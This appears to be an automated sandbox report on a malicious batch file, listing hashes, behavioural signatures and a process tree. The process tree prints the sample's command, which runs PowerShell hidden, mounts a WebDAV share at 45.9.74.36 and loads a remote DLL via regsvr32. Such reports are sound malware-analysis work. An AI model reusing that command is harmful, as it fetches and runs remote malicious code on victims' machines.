Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
19/07/2024, 22:43
Static task
static1
Behavioral task
behavioral1
Sample
17843242292216017916.bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
17843242292216017916.bat
Resource
win10v2004-20240709-en
General
-
Target
17843242292216017916.bat
-
Size
13KB
-
MD5
2a824d121e93386d58bbd33196579132
-
SHA1
76f7b44b962a147d014ce72e31562ba5823446c7
-
SHA256
0c71dfce4d8138a6bd727ea362e874d60bbfc8172399c3c97823bb6d72a884b5
-
SHA512
bc4782eb46e0c438127f27023cfb08f9d08ff8c59a8e5fcc20ecef50b26c37fa4fec3ae24fbef3edaca3ae83052b008f0e9e93e94596844217cce2848dcd5972
-
SSDEEP
384:HvZYxYW3QsuS38IpBOGdb8JohgDuqC8b2hIIIob2hIIITUQaiCMaHHkr:HSxYW3QI7OowOhgDw8IpmBc
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2128 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2128 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2128 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2028 wordpad.exe 2028 wordpad.exe 2028 wordpad.exe 2028 wordpad.exe 2028 wordpad.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 1880 wrote to memory of 2028 1880 cmd.exe 32 PID 1880 wrote to memory of 2028 1880 cmd.exe 32 PID 1880 wrote to memory of 2028 1880 cmd.exe 32 PID 1880 wrote to memory of 2128 1880 cmd.exe 33 PID 1880 wrote to memory of 2128 1880 cmd.exe 33 PID 1880 wrote to memory of 2128 1880 cmd.exe 33 PID 2128 wrote to memory of 2140 2128 powershell.exe 35 PID 2128 wrote to memory of 2140 2128 powershell.exe 35 PID 2128 wrote to memory of 2140 2128 powershell.exe 35 PID 2128 wrote to memory of 2932 2128 powershell.exe 36 PID 2128 wrote to memory of 2932 2128 powershell.exe 36 PID 2128 wrote to memory of 2932 2128 powershell.exe 36 PID 2128 wrote to memory of 2932 2128 powershell.exe 36 PID 2128 wrote to memory of 2932 2128 powershell.exe 36
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\17843242292216017916.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1880 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:2028
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\16803471426699.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:2140
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\16803471426699.dll3⤵PID:2932
-
-